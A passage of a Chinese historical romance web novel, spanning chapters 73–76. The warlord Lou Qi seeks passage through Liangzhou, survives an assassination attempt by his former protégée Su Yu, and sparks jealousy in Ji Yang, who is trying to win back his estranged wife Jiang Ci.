楼弃站在门前,抬眸望来,眼神沉静,风沙不起波澜,唯有眼底一寸未明的深意。
姜怀策率先开口,语气沉稳:
“燕王远道而来,不请自至,凉州虽陋,亦不敢失了礼数。”
楼弃拱手为礼,唇角微敛,语声不疾不徐:
“今日来访,确有唐突,还请刺史大人见谅。楼某此行,并无他意,只愿借凉州一线之地,率军西征。”
姜辞立于一侧,静静听着,面无表情。
姜怀策闻言神色未动,淡淡一笑:“借道一事事关两境边防,非同小可。燕王口中所言‘西征’,敢问是征何处?”
楼弃神色平静,坦然答道:“北庭。”
姜怀策微不可察地敛了神色,随即做了一个手势说道:“此事不小,涉及众多,还请入府中详谈。”
厅中已设座。
楼弃与姜怀策相对而坐。
姜辞并未被遣出,只在堂下一侧静静坐着,垂眸握着茶盏,神情平和,未发一言。
厅中沉静,香烟徐徐而升,窗外枝头偶有几片残叶摇曳,落地无声。
姜怀策开口,语调沉稳,却已不复初见时的客气:
“瀚北虽远,底蕴却不浅。燕王若要动北庭,想必筹谋已久。”
他语锋微转,目光如炬:“北庭之后,我想便是旧西凉了吧。燕王直言,我便也直言问你,你借道于凉州,可曾想过,日后也会兵指我境?”
楼弃神色未动,只唇角略扬,道:“若刺史大人认定我有此意,那我纵言再多,也难自证。”
语中带笑,却未流于轻浮。他话落,目光不着痕迹地掠过姜辞所在之处。
姜辞端坐如初,似未察觉他一瞬注目,只淡淡拢了拢袖边,将茶盏稳稳放回案几。
楼弃垂眸,指尖轻敲杯沿,语调忽缓,像是随意闲谈,却字字试探:
“姜姑娘如今气色安稳,神态从容,倒与当日在宁陵时颇不相同。”
语意平淡,分寸恰如其分,唯尾音轻轻一顿,似在寻一丝回响。
姜辞并未作答,只将视线投向窗外,枝桠交错,风声淡淡。
楼弃盯着她的侧影,眼神微不可察地一顿。
姜怀策察觉有异,眯眼看了两人一眼,缓缓问道:“你们……识得?”
“不认识。”
“认识。”
二人异口同声,语锋却相左。
楼弃却不急不缓,率先笑道:“令千金既说不认识,那便当作今日是头一回。楼某,愿重新结识。”
他话落,不再多看姜辞,只将神色收敛几分,略一顿,又似想起什么,轻声道:
“早前在丰都,曾承令千金一念之恩,她并不知我是谁。”
话音未尽,姜辞终于抬眸,目光与他相对。
她看着他,眼神无波,只道:“旧事已过,不必再提。”
语气清清淡淡,却将那段过往生生隔断。
楼弃神情微敛,沉默片刻,忽然语声一转,
语调似真随口,实则意有所指:
“东阳都督……这回未随姜姑娘一同回凉州省亲?”
话语浅淡,意图却并不掩饰。
姜辞眉心微不可察地一动,唇角却无一丝波澜,只淡淡道:“与他无关。”
楼弃指节微顿,眉尾轻挑。
他抬眸再看向姜辞时,眼中已添几分揣度之意。
沉默片刻,他重新拱手,转而对姜怀策含笑说道:
“楼某此行,诚意为先,只愿借道通行一线,不扰百姓,无意侵境。”
姜怀策神色沉静,眼底却隐有光动,语气不紧不慢:
“此事关乎边防与民心,容我斟酌。”
楼弃点头:“自当如此。”
他微笑一声,语气仍是从容:“楼某一向不急,耐心也算不错,就等刺史大人给我一个回音。”
说罢,起身作揖,方欲离去,又忽地补了一句:
“在此事定下前,我会暂居城中望月楼。”
姜辞亦随姜怀策一同起身,将他送至门前。
临别时,楼弃忽而侧身望向姜辞,语气不紧不慢,却带着一丝漫不经心的轻调:
“这紫川我并不熟,只听说望月楼酒佳菜美,却不知确切方位。不知——姜姑娘可愿送我一程?”
姜怀策眉头轻蹙,刚要开口,手臂却被姜辞轻轻按住。
她微笑道:“好。”
声音平和,从容中带着一丝意味。
她确实有些话,想单独问他。
刺史府外,街道幽长,夜色已沉。
凉州城里,灯火未尽,远处檐角挂着红灯,在风中微微晃动。
姜辞与楼弃并肩而行,一路往望月楼方向走去。
楼弃侧头看了她一眼,似笑非笑道:“姜辞,你方才答应得太快,我倒好奇,你想问些什么?”
姜辞看着前路,语气平平:“你要讨伐北庭,也想拿下西凉……是在谋一统四方,是吗?”
楼弃并不回避,反倒坦然道:“自然如此。你以为姬阳没这个念头?”
他顿了顿,侧首望她,唇角微挑:“你若问我想做什么,那便是坐那把椅子。天命我不信,江山我取定了。”
姜辞目光微垂,过了片刻,才缓声问道:“那你觉得,一个能坐稳天下的霸主……需要的是什么?”
楼弃闻言,目光沉了些,脚下步子却未停。他不急着答,似在思量。
他缓缓转头看向姜辞,目光深沉:“你问我,一个能坐稳天下的人该有什么?”
“能镇得住诸侯的手段,能压得住人心的胆魄,能赢的实力。”
他语气不重,却带着一股傲意。
“天下乱久了,谁还真信慈悲能救万民?”
楼弃语气不轻,却句句沉稳有力,“百姓要的,从不是谁对他们心软,而是谁能护得住他们的命。打得下敌军,压得住流寇,让他们安生。”
姜辞停了停,淡声道:“可你不在乎民心,不在乎百姓的生死。”
“你以为姬阳迟迟不打西凉,是他打不过?”
她抬眸看向楼弃,目光沉而静,“他不是打不过,而是……舍不得伤民。”
楼弃挑了挑眉,似笑非笑道:“那便注定他赢不了。”
“这条路上,注定是要有人被牺牲的。你心软,他心仁,等你们慢慢顾及民生,我便先一步夺了城池。”
他说得轻描淡写,语气中毫无犹疑。
姜辞却神色未变,语气一寸寸压了下去:
“可你明知民心重要。”
“宁陵堤坝崩塌,是你动的手脚,你借水毁坝,想的是毁姬阳在百姓心里的信。既然你知道百姓之心可崩一国,那你为何不让百姓拥你、信你?”
楼弃的笑意终于收了几分,目光渐冷。
他望着她,语声低沉,却不加掩饰:“我若要人心,是要他们畏我、敬我、听我号令。”
“百姓不必仰头看我,我要的,是他们低头,不敢不从。”
姜辞静静听着,眼神一点点沉下去。
“所以你与姬阳不一样。”她轻声道,“你不信人心能成城,只信铁骑能踏平万里。”
楼弃脚步微顿,回身看着她,语声低缓却带一丝不明情绪:
“你送我过来,只为说这些?”
姜辞亦停下,目光平静如水,只道:
“望月楼,到了。”
楼弃没有再说什么,也未挽留,只目送她转身离去,目光深沉,沉默不语。
她的身影渐行渐远,终归隐入街巷灯影之中。
楼弃收回视线,转身迈入望月楼。
而在街角不远处,一道瘦削身影隐在夜色中,目光冷如寒星,悄无声息地盯着他,手中死死握着刀,直到楼弃不见,她才离开。
第74章
望月楼内,夜沉如墨。
酒客散尽,廊灯未熄,檐下风声潇潇,一室微光如豆。楼弃独自斟了一杯酒,半卧在榻,似醒似睡,窗外是凉州深夜的疏星。
门外忽传轻响。
很轻,像猫踏青瓦,不带半点人气。
他未动,只指间轻轻转了下杯,似是听见了什么,又似什么都未放在心上。
下一瞬,窗纸无声破开,一道黑影如风而入。
无言,先手就是一刀……
楼弃身形微偏,袖袍一荡,那柄寒刃贴着他喉间掠过,斩下一缕鬓发。
“……是你。”他语气轻慢,像在打个呵欠。
“闭嘴。”来人低喝,手中短刃翻转直取他心口。
刀势狠辣,招招不留情。
楼弃却只是身形一折,脚尖一点矮几,竟生生避开三式。他不还手,单凭身法游走,步步退却,淡淡笑道:“小兔子也要杀主人了。”
苏玉冷笑,眼神里尽是杀气,一言不发,刀招却愈发狠厉。
月色落在她眉眼上,她的面罩被风掀开一角,露出一截下颌,仍是那熟悉的面容,只是眼神早已不是当初。
楼弃终于在第五招后出手。
他探指如钩,快得几乎看不清动作,只听叮的一声,苏玉手中的短刃已被卸去力道,反被他擒住,顺势夺来,反手架上她颈侧。
刀锋抵喉,二人皆未动。
苏玉却仍盯着他,眼中一片狠意,像是下一刻便要同归于尽。
楼弃看着她,眼中没多少讶异,只是微微挑了下眉:“你这把刀,是想要命,还是想要一个答案?”
苏玉冷冷道:“我要你死。”
“可惜你杀不了我。”他淡声说完,忽地将刀丢到一边,松开她,语气又带几分懒散,“更何况,我也不会杀你。”
他转身走回桌边,给她倒了一杯茶。
“今晚风大,喝口热的。”他说得轻描淡写。
苏玉站在原地,胸口起伏,像是还未从刚才那瞬生死中回过神来。她咬着牙,看着那人,半晌,什么也没说,只紧紧握住袖下另一柄暗刃。
可终究没有再动。
楼弃举杯,望着茶盏里升起的水汽,语声低低:“苏玉,你是在怪我?”
苏玉咬牙说道:“可你什么时候,把我当过自己人?”
“你眼里,只有你自己。”
楼弃没说话,静了很久,才低声道:
“苏玉,你不是弃子。”
“你曾是我最锋利的一把刀。”
他顿了顿,又补了一句:
“我没想过弃你,只是……这一路太长,你若一直跟着我,结局不会比现在好,既然已经从宁陵逃离,为何不隐姓埋名过自由日子,偏偏找上我?”
苏玉缓缓回头,眼里终于不止是狠,更多的是一种失望,她曾无数次幻想再见到他,是一刀封喉,或被他杀。
但此刻真正站在他面前,她才知道,她并不是想杀他,她只是想问一句:你可曾在乎我?
可这句话又说不出口,她只淡淡道:
“我以为我们出生入死,你会待我不同。”
楼弃没解释,只垂眸饮茶,声音轻得快要散在夜风里:
“是的,你要的我给不了,我不需要家人。”
她冷笑一声,转身欲走,却在临出门前忽然停下,低声道:
“楼弃,你记着。”
“你赢得了天下,也守不住人心。”
“我倒真要看看,你是否谁都不在乎。”
风声吹入,门扉微响。
楼弃静静地推开那杯茶盏,清澈的茶水微荡,映出他面上那一瞬沉寂无声的神情,眼底深处浮出一丝遥远的沉意。
他忽然想起,那年初见苏玉,是在幽州城。
那年开始,战乱四起,幽州城外流民遍地,饿殍千里。
那年他十三岁,已是心智早熟,冷眼旁观着世间百态。
而苏玉,不过九岁光景,瘦得像一把枯骨,衣衫褴褛地混迹在一群饥饿的流民之中,为了一口吃的,像野兽般与他人扭打。
他坐在华贵的马车里,透过车窗,漫不经心地看着这场戏。
直到一个细节刺痛了他的眼,一个半大的少年,仗着身形高大,从苏玉手中抢走了她好不容易得来的一个烧饼。
苏玉没有哭闹,没有求饶,甚至没有发出任何声音。
她只是像一头被逼到绝境的幼狼,眼神冰冷而决绝。
几乎是刹那之间,她从破烂的袖口里拔出一把不知从何而来的小刀,寒光一闪,那少年的喉
咙便被精准地割开,血线喷涌而出,染红了烧饼和泥泞的地面。
人群瞬间寂然,楼弃也那一刻,竟想带她走,不是怜悯,而是一种发现猎物的兴奋,一种对极致狠辣的欣赏。
他从马车上缓缓下来,周遭的护卫立刻警惕地围拢,但他只径直走向那个沾染着血迹、却面无表情的瘦小身影。
他伸出手,骨节分明,修长而有力,带着一种与生俱来的掌控感。
“你叫什么名字?”
她摇头,不语。
“那就跟我走。”
苏玉也没有问,只是像一只被驯服的野猫,将冰冷的小手放入他的掌心。
他将她带回府邸,亲自安排师父,教她所有他所能接触到的东西,武艺、谋略,甚至是如何隐藏自己的锋芒。
他们一同长大,朝夕相处。他赐她名字:苏玉。
他想着,这块未经雕琢的璞玉,日后一定可以成为一把无比锋利、顺手好用的刀。他身边培养了很多人,形形色色,各有用途,但没有一个,能像苏玉这般,将他的意图执行得如此彻底,将他的命令贯彻得如此决绝。
因此,他对她,比对任何人都好,好到足以让她误以为,自己是特殊的,是唯一的。
他从未想过要弃她。他只是忽然觉得自己不想再用她了。也许是厌倦了这种纯粹的利用,也许是看透了她眼底那份不该有的依赖,
于是,他干脆找了一个契机,一个足以让她彻底死心、却又不会真正要了她性命的契机,将她丢弃。
他知道以苏玉的狠劲儿,她必然能从绝境中逃脱,甚至活得比任何人都好。他只是希望,她能彻底死了跟着自己的那份心,从此隐姓埋名,过上自由的日子,再不出现在他的视野里。
可他万万没想到,苏玉回来了,带着满腔的不甘,回来刺杀自己。
楼弃的思绪骤然归拢,苏玉最后那句带着恨意的警告,分明是冲着姜辞而去!他手中的茶盏应声而落,人已夺门而出。
夜深如墨,凉州城中多已入睡。
刺史府后院,风声拂过屋檐,楼弃翻身而起,悄无声息跃上屋顶。
夜色无声,他俯身隐入瓦脊阴影之间,目光循着廊道望去,落在一扇未开的窗前。
那窗户紧掩着,却映着室内微光。烛火未灭,纸窗上映出一人影,发髻半松,正倚案而坐,低头写字。
他眼底一动,心知——苏玉终究没来。
他没有立刻离开,而是就地坐下,背靠屋脊,任风拂过他的脸,目光始终未移。
屋内的她似乎未察觉窗外动静,片刻后起身,将外衣除下,缓缓拆发,动作一贯从容。
楼弃偏头,看着那剪影解下的发带,随手丢在架子上,转身扑入床帐,又翻身坐起,拢被下榻,仿佛不易入眠。
隔着一道窗纸,她整个人裹在柔光中。
不久,晚娘轻手轻脚推门而入,为她添被,又轻声说了几句什么,屋里传出轻应,模糊难辨。
晚娘临出门时小心地掩了灯火。
屋内渐暗。
床帐低垂,窗上映出的影子也随之模糊,只剩几缕未眠的气息藏在沉静之中。
楼弃一动未动。
他就那么坐着,望着那扇不曾开启的窗。
直到东方微泛鱼肚白,天光渐亮,他才缓缓起身,收回视线,无声离去。
第二日,天光晴好,微风拂面,正是出门的好时节。
姜辞一身浅色素雅的襦裙,发髻间只簪了一支素银海棠,清丽而不失雅致。她与晚娘一同出了府。
“姑娘,这般早便出门,可是有甚急事?”晚娘好奇地问。
姜辞微微一笑,眼波流转间带着几分女儿家的俏皮:“听闻城南织锦阁新到了批绣品与扇面,倒是别致得很。过两日,姐姐和姐夫也要回紫川了,我们今日一并挑选好礼物,等他们回来送给他们,也算是一番心意。”
晚娘闻言,脸上也漾开笑意:“还是姑娘想得周到,阿潋姑娘和大姑爷定会欢喜。”
主仆二人穿过熙攘的街市,小贩的叫卖声、孩童的嬉闹声、马蹄的哒哒声交织成一幅和谐的市井画卷。
一踏入店中,琳琅满目的女子用品便映入眼帘:蜀锦的帕子、苏绣的香囊、各式各样的珠钗步摇、还有那轻罗小扇,无一不精致。
姜辞穿梭在货架间,目光流连,忽然,她的视线被一把团扇吸引。
那扇子做工精巧,扇面是上好的湘妃竹,边缘镶嵌着细密的珍珠,最特别的是上面的图案——并非寻常的花鸟祥云,而是两个活灵活现的皮影人,一男一女,姿态灵动,姜辞觉得新奇又别致,不由得伸手取了下来,细细端详。
“晚娘,你看这扇子,可别致?”她轻声问道,眼中带着欣赏。
晚娘凑近一看,也赞叹道:“果真别出心裁,奴婢从未见过这般图案的团扇。”
二人又细心挑选了几样适合姜家姐姐姐夫的礼物,方才付了钱,提着包裹从店里走了出来。姜辞手中仍旧拿着那把皮影团扇,边走边看,细细品味着扇面上的巧思。
行至一处贩卖糖人的摊子前,姜辞正看得入神,脚下却不慎被一块凸起的石砖绊了一下。身形一晃,手中的团扇便脱手而出,啪嗒一声,轻巧地落在地上。
“哎呀!”晚娘惊呼一声,正欲上前搀扶。
姜辞也顾不得脚踝的微痛,连忙弯腰去捡。
这时一道修长的身影却比她更快。
只觉眼前一暗,一股淡淡的沉香气息拂过鼻尖,那人已然先她一步,弯下腰,修长的手指轻轻巧巧地将落在地上的团扇捡起。
姜辞抬眸,对上一双含笑的眼眸。
正是楼弃。
他将团扇递到她面前,嘴角噙着一抹恰到好处的弧度,声线清朗而温和:“好巧啊,姜姑娘。没想到,我们竟然在这里遇到了。”
而此时,不远处的大道上,姬阳正骑在一匹乌骓马上,玄色披风垂下。
他刚快马加鞭赶到紫川城,正要去刺史府,目光无意间扫过街角,却恰好将这一幕尽收眼底。
他看到姜辞与那男子近在咫尺,看到那男子弯腰为她捡扇,看到他们目光相接。
姬阳的脸色,在瞬间沉了下来,握着缰绳的手,不自觉地收紧了几分。
“哼,这么快就有人献殷勤了。”
第75章
姬阳从马上翻身而下,动作利落,他眉眼凌厉,阔步而来,眼神如鹰隼般死死锁住姜辞,径直穿过熙攘人群。
他灼热的目光里翻滚着滔天的情绪,有悔,有怒,更有藏不住的急切。
姜辞脸上的笑意瞬间凝固,化作一片寒霜。
姬阳视一旁的楼弃如无物,几乎是抢一般,从楼弃手中夺过那把团扇,那扇骨尚余余温,被他攥得生硬
“阿辞,”他的声音因急切而显得有些沙哑,不复往日的沉稳,“我有话与你说,你先随我来。”
姜辞立在原地,像是没听见一样,纹丝不动。她抬起眼帘,眸光清冷如许,静静地望着他,那眼神里没有半分波澜,仿佛在看一个素不相识的陌路人。
姬阳心头一刺,那空洞的眼神比刀子还锋利。他下意识地伸出手,想去抓住她纤细的手腕,一如从前无数次那般。
指尖尚未触及,姜辞已悄然侧身,轻巧地避开了他的碰触,动作不大,却带着一种决绝
的疏离。
姬阳的手僵在半空,他深吸一口气,压下心头的焦躁与刺痛,放缓了语气,几乎带上了一丝哀求:“此处人多眼杂,不是说话之地。”
姜辞终于开了口,声音平淡得听不出一丝情绪,却字字诛心:“都督欲带我去往何处?我与都督,早已毫无瓜葛,你请回吧。”
“毫无瓜葛”四个字,如一个冰冷的巴掌,狠狠扇在姬阳的脸上。
一直含笑旁观的楼弃,此刻嘴角的弧度愈发明显,他悠悠然伸出手,在姬阳紧绷的肩膀上拍了拍,语气带着几分看好戏的促狭:“都督,没听见么?姜姑娘说,与你无干了。既是无干,又何必在此纠缠,扰了姑娘的清净。”
那只手仿佛带着千钧之力,点燃了姬阳隐忍的怒火。他猛地一甩臂,将楼弃的手打开,厉声喝道:“我与她说话,何时轮到你一个瀚北探子在此多嘴!”
话音未落,他转向姜辞,急切地揭露道:“阿辞,你莫被他骗了!他根本不是什么凉州人,他是瀚北的探子!”
他以为她会震惊,会愤怒,会躲闪。
然而,姜辞的反应却很平静。她只是淡淡地“哦”了一声,仿佛在听一件无关紧要的闲事。“我知道啊,”她抬眸,迎上姬阳错愕的目光,一字一顿地说道,“他是楼弃。”
“楼弃”二字一出,姬阳的瞳孔骤然紧缩。
是他。
那个在瀚北战场上与他分庭抗礼、斗智斗勇数年,雄踞瀚北、野心勃勃的燕王,楼弃。
纵然心中早有万般猜测,可当这两个字从姜辞口中如此轻易地吐出时,姬阳还是感到不可思议。
他怔怔地看着眼前这个面带笑意、一派风流的男子,竟无法将他与那个在沙场上运筹帷幄、狠厉无情的瀚北霸主联系在一起。
“他来此,意欲何为?”姬阳的声音里充满了戒备与敌意,每一个字都像是从牙缝里挤出来的。
姜辞却像是听到了什么笑话,她微微偏头,看向姬阳,眼神中带着一丝嘲讽:“东阳的都督,手未免伸得太长了些,竟要管到我凉州的地界上来了?此处是紫川,非你东阳。我想与何人言语,想与何人往来,皆是我的自由,都督。”
这番话,客气又疏离,像一道无形的墙,将他狠狠推开。
气氛僵持之际,楼弃忽然笑了。他侧过头,对姜辞道:“说起来,昨日在你府上喝的茶甚是甘醇。晚娘,你泡的是何种香茗?改日我也去寻些,带回去给我父汗尝尝。”
一声亲昵的晚娘,姬阳一记刀子眼狠狠剜向楼弃。
姜辞却仿佛未曾察觉这两人之间暗流汹涌的对峙,顺着楼弃的话,浅浅一笑,竟是应了:“燕王若是喜欢,何不随我回府,我再让晚娘为您泡上几盏。”
说罢,她再也不看姬阳一眼,转身便朝着刺史府的方向走去,背影决绝,没有半分留恋。
楼弃见状,对姬阳挑了挑眉,那双桃花眼里满是毫不掩饰的得意与挑衅,随即迈开长腿,悠然跟上了姜辞的步伐。
姬阳死死盯着楼弃的背影,那目光仿佛能穿透他的身体。
他也跟了上去,一行人很快回到刺史府门前。
姜辞却在门前停下了脚步。她没有回头,只是指着府外不远处的姬阳,对门口的仆役冷声吩咐道:“我不欲见此人。尔等若是胆敢放他入府,便休怪我心狠手辣,将你们一并逐出!”
声音不大,刚好让姬阳听见。
说完,她便头也不回地跨进了府门。楼弃紧随其后,在迈入门槛的瞬间,还特意回过身,冲着面色铁青的姬阳,懒洋洋地摆了摆手,像是在炫耀自己的胜利。
高高的门槛,就此隔绝了二人。
姬阳双手无措地叉在腰间,满腔怒意与委屈都堵在喉头。望着姜辞远去的背影,他终于一字未发。
入了府门,楼弃方欲随她步入廊下,姜辞却停下脚步,微微偏头,神情淡淡开口:“你若真想喝茶,就去找我父亲。”
话落,她再不多看一眼,径直唤上晚娘,带着人往内院去了,步伐果断,身影利落。
楼弃站在原地,愣了愣,旋即低低笑了一声。夜风拂过,他轻轻摩挲着掌心的扇骨,自言自语般低语:“这用完便丢的脾气,倒是同我极像。”
楼弃他本就是个随性惯了的,不愿自讨没趣,便也起身告辞,施施然出了府门。
谁知,刚一脚踏出那高高的门槛,便见一道熟悉的身影,如一尊铁塔般,依旧杵在府前不远处。
正是姬阳。
“哟,”姬阳看见楼弃出来,扯了扯嘴角,勾起一抹冷笑,那眼神上下打量着楼弃,满是讥讽,“燕王这茶,喝得可还尽兴?怎地这么快就出来了?莫不是……也被赶出来了罢。”
这话说得尖酸刻薄,存心是想戳楼弃的肺管子。
楼弃闻言,脚步一顿,却不见恼。他反而轻笑一声,带着几分自嘲,坦然道:“是啊,不过嘛……”
他话锋一转,双眼微微眯起,眼底掠过一丝狡黠的光,“至少,这刺史府的大门,并未明令禁止我楼某人踏入。不像某些人,连门都进不去,只能在此处望门兴叹。”
一句话,精准地踩在了姬阳的痛处。
姬阳的面色瞬间沉了下来,周身的气压低得骇人,手已经不自觉地按向了腰间的佩剑。
楼弃却忽地收敛了所有锋芒,神色一正:“姬阳,此处是紫川,非你我两军对垒的沙场。你我交手七载,互有胜负,今日在此狭路相逢,也算难得的太平。你我与其在此处动干戈,惹得佳人不快,不如……”
他顿了顿,竟是破天荒地提议道:“我请你喝一杯,如何?”
姬阳闻言,像是听到了天大的笑话。他从鼻子里发出一声冷哼,嫌弃地撇了他一眼,那眼神仿佛在看什么污秽之物:“谁稀罕你请吃酒。”
话是这么说,可当下一幕展开时——
二人竟已端坐在了望月楼内。
楼弃执壶斟酒,姿态洒脱,笑道:“倒没想到都督也会落脚于此,可见世道艰难,英雄不问出处。”
说罢,他将酒壶挪向姬阳的桌案,眼底带着揶揄的笑意。
姬阳冷着脸,侧身避开,语气生硬:“滚远点,别逼我拔刀。你若真手痒,我也不介意送你一程。”
楼弃倒酒的动作一顿,抬起眼帘,似笑非笑地看着他。他像是捏准了姬阳的七寸,慢悠悠地开口:
“都督息怒。我虽不知你与姜姑娘之间究竟发生了何等变故,才让昔日情分化作今日怨怼。但我可以笃定一件事……”
他微微前倾,压低了声音,一字一句:“你若在此处动手,消息传回刺史府,她……一定会不高兴。”
姬阳握着剑柄的手,青筋暴起。
“她不高兴”四个字,像一道无形的枷锁,瞬间锁住了他所有的怒气与杀意。他可以不在乎天下人的看法,却唯独……唯独不能不在乎她的。
良久的死寂之后。
姬阳缓缓松开了手,周身的戾气也渐渐收敛。他没有再说话,只是端起了楼弃刚刚为他满上的那杯酒。
楼弃见状,嘴角噙着一抹意味不明的笑,也为自己满上了一杯。
于是,在这望月楼上,两个在战场上斗了七年、恨不得将对方置于死地的宿敌,竟就这么你一杯,我一杯,默默地喝上了酒。
刺史府内,西院内室之中,安神香的青烟一丝一缕,缠绕着满室的暖色。
姜辞端坐于窗前的软榻上,垂着眼帘,手中捏着一枚绣花针,正心无旁骛地在一块素白的手帕上勾勒着什么。
一旁的晚娘往铜炉里添了几块新碳,暖意渐渐弥散开来。
她看着自家姑娘那清瘦而倔强的侧影,终是忍不住开了口,声音里带着几分小心翼翼:“姑娘,您当真……就这么不见都督么?他毕竟是一个人来的,也没落脚处。”
姜辞的动作没有丝毫停顿,只是淡淡地回了一句:“见他作甚?听他狡辩么?再说了,他这么大的人,还需要我操心他睡哪儿?”
她的声音平静无波,听不出喜怒,“休书是他亲笔所写,白纸黑字,‘生死勿复相闻’。如今他都是快要做父亲的人了,我除了祝他儿孙满堂,阖家幸福,还能说什么。”
“都要当爹的人了”这几个字,她说得尤其轻,轻得像一片羽毛,却重重地压在了晚娘的心头。
晚娘叹了口气,走上前劝道:“姑娘,奴婢瞧着那个楚窈,绝非表面那般单纯无害。她平日里处处模仿您的穿着打扮、言行举止,怕是早就起了不
该有的心思。”
“您心思纯良,总不愿将人往坏处想,可人心隔肚皮,谁知她背地里用了什么手段?都督那样的人物,没准儿也是被她蒙蔽了呢。”
她见姜辞的动作终于慢了下来,便又接道:“依奴婢看,无论如何,您二位也该坐下来,将此事当面说开。倘若真是都督负心薄幸,那您再将他赶走,从此一刀两断,也算断得明明白白,不留半分猜疑。”
室内的空气仿佛凝滞了。
许久,姜辞手中的动作彻底停下。她将那枚银针扎进绷子,放下了手中的帕子。她望着窗外灰蒙蒙的天,沉思了数息,眼底情绪翻涌。
“即便要说,”她缓缓开口,声音里带着一丝不容置疑的决断,“那也得先晾他两日,我不过耍了脾气,他就真敢休我,等回头我要是再误会他点什么,还指不定怎么着呢。”
晚娘一听这话,脸上顿时露出欣慰的笑容,脆生生地应道:“姑娘说的也是,老奴年轻时,与夫君也总闹不愉快,有时候情绪一上来,什么没缘由的就骂他一顿,他也不敢说个什么出来。”
说完,她便躬身退下,脚步都轻快了几分。
晚娘走后,姜辞独自又坐了一会儿。她拿起那方才绣了一半的帕子,上面是一对初具雏形的鸳鸯,只绣好了一只,另一只还空着轮廓。她看了一眼,眼中闪过一丝烦躁,随手便将帕子往桌案上一丢。
罢了。
她起身,吹熄了桌上的烛火,转身回了内寝。
睡觉。眼不见,心不烦。
次日清晨,望月楼。
姬阳幽幽醒来,只觉头脑微胀,记忆还停在昨夜酒气弥漫的桌前。他下意识一摸身侧,竟发现身旁还有人,偏头一看,楼弃正仰卧在榻上,双眼紧闭。
姬阳愣了半晌,猛地一拍脑门,昨夜到底是怎么回事?居然与这厮并肩把酒,喝到烂醉,还勾肩搭背,不知怎地便歪倒在了一处客房。
他低头细看自己的衣袍,所幸衣冠仍在,未曾失态。这才稍稍松了口气。
一旁的楼弃睡得正香,眉眼间还带着些少年意气。偏偏那人不老实,睡到半途,一条腿横搭在他膝上。姬阳皱了皱眉,正要将那碍事的腿挪开,余光却扫到立在床头的长剑。
他静静凝望着那剑,心底泛起一丝杀意,若此时举剑,将楼弃一剑封喉,瀚北必然群龙无首。只消一息,便可扫清北疆,青州百姓再不受其扰。
他慢慢够过去,将剑拿在手里,思绪万千。
可那人睡颜安然,眉心舒展,毫无防备。这一剑始终难下,他轻叹一声,将楼弃的腿轻轻移开,动作克制,最终还是放弃了。
姬阳起身整衣,推门欲出。门扉嘎吱一声合上。
榻上的楼弃忽然睁开双眼,低低自语:“姬阳,你还是这般心慈手软啊。”
第76章
深秋渐寒,姜辞窝在屋子里不出门,她一向最讨厌刮风天,此时正靠在软塌上翻着一个话本子。
她听着晚娘跟她汇报,说是头一日,姬阳携拜帖自正门而来,神情郑重。然府门前守卫恭敬而冷淡,将拜帖原封不动奉还,语气不卑不亢:“抱歉,都督,姑娘近日不便见客。”
姬阳抿唇未语,只在门外伫立许久,终究无功而返。
姜辞哼了一声:“一个拜帖就要见我,他当我是什么,想的真美,晚娘别搭理他。”
晚娘点点头,替姜辞把茶续上,说道:“姑娘放心吧,你不点头,没人会放他进来。”
姜辞翻了个身说道:“那就行。”
第二日。
清晨,府外笼着一层尚未散尽的冷雾。
姬阳竟又来了,他不再投帖,只在门侧的石狮后静静守着。
终于,他等到府门开启,晚娘提着竹篮,正要出门采买。
他忙快步上前,拦住去路,姿态放得极低,近乎央求地低声道:“晚娘,劳烦你再替我通报一声。我……我只与她说一句话便好。”
晚娘见他眼下竟有淡淡的青影,心中微叹,面上却依旧是那副客气而疏离的笑容。她摇了摇头:“都督,您这又是何苦?咱们家姑娘说了,这几日难得清净,还请都督莫要扰了她的安宁。”
姬阳见言语说不通,心一横,将早已备在身侧的礼物一一递上前。那都是他费尽心思寻来的,有她往日里最喜欢把玩的小巧饰物,有城南徐记新出的栗子糕,甚至还有一块质地温润,雕工细巧的螭龙玉佩。
“这些……烦请晚娘代为转交。”
晚娘目光扫过那些东西,虽是接了过来,却只是顺手搁在了门房的窗台上,笑着推辞道:“都督实在太客气了。只是这些东西,姑娘怕是用不上了。”
话里话外的拒绝之意,再明白不过。
偏巧就在这时,府内传来一阵脚步声。是姜怀策,他正打算出门散步。他远远瞧见纠缠在门口的姬阳,神情当即一冷。
想起女儿前几日红着眼圈与他说的事儿,又念及那封伤透人心的休书,姜怀策心头的火气蹭地一下就冒了起来。
他二话不说,环顾四周,抄起门边靠着的一把大扫帚,大步流星地冲了过去,指着姬阳的鼻子便骂:“好你个姬阳!你还敢来?谁让你来的!我闺女说了不想见你,你给我走!”
说着,那扫帚便毫不客气地朝姬阳身上招呼过去。
姬阳被这突如其来的阵仗打得一愣,竟是忘了躲闪,任由那沾着尘土的扫帚扫在自己的袍角上,显得狼狈不堪。
他没有还手,也没有辩解,只是神情有些发懵,片刻后,像是终于认清了现实,自知理亏地收敛了所有气势。
他默默后退几步,避开那挥舞的扫帚,随即对着怒气冲冲的姜怀策,郑重地抱拳一揖,低声道了句:“……叨扰了。”
言罢,便转身退至了街对面,远远地站着,不再上前。
姜怀策见他这般模样,反倒愈发得意起来。他将扫帚往地上一顿,转身对着府内探头探脑的下人们,中气十足地扬声道:“都看见没!他东阳都督又如何?在我刺史府门前,也得给我让路!哼,老夫这辈子,也算是靠着我闺女硬气过一回了!”
夜色渐深,秋雨未歇,反而越下越大,淅淅沥沥地敲打着黛瓦飞檐。
姬阳却始终没有离开。他一直站在那里,任由那冰凉的雨水打湿他的发丝、浸透他的衣袍,只为等姜辞能见他一面。
雨珠顺着他的脸颊滑落,分不清是雨水还是别的什么。他始终没有挪动步子,背影在夜色和雨幕中显得格外寂寥和执拗。
直到深夜,晚娘打着灯笼,巡视院落,听到下人说姬阳还在外面,才惊觉姬阳竟还在府外淋雨。
她急忙跑回姜辞房中,压低声音禀告:“姑娘,都督……姬都督还在外面淋雨呢!从傍晚到现在,怕是淋了有两个时辰了!”
姜辞正坐在窗前,听着窗外缠绵的雨声,心头本就有些烦乱。
闻言,她微微蹙眉,似是有些不耐,终究还是走到柜前,拿起一把素色的油纸伞,递给晚娘,声音清冷而平静,“将这伞给他。你只带一句话,便说……我家姑娘,想见你
的时候,自会去递话。都督请回吧。”
晚娘接过伞,看着姜辞那平静得近乎冷淡的侧脸,心中不禁叹了口气。
这都督,怕是要吃些苦头了。
她提着伞,冒着雨走向府门,将那把伞递到了姬阳手中,转述了姜辞的原话。姬阳接过伞,那双深邃的眼眸在雨夜中显得更加晦暗不明。
他没有说话,只是紧紧握着那把伞,在雨中,又站了许久。
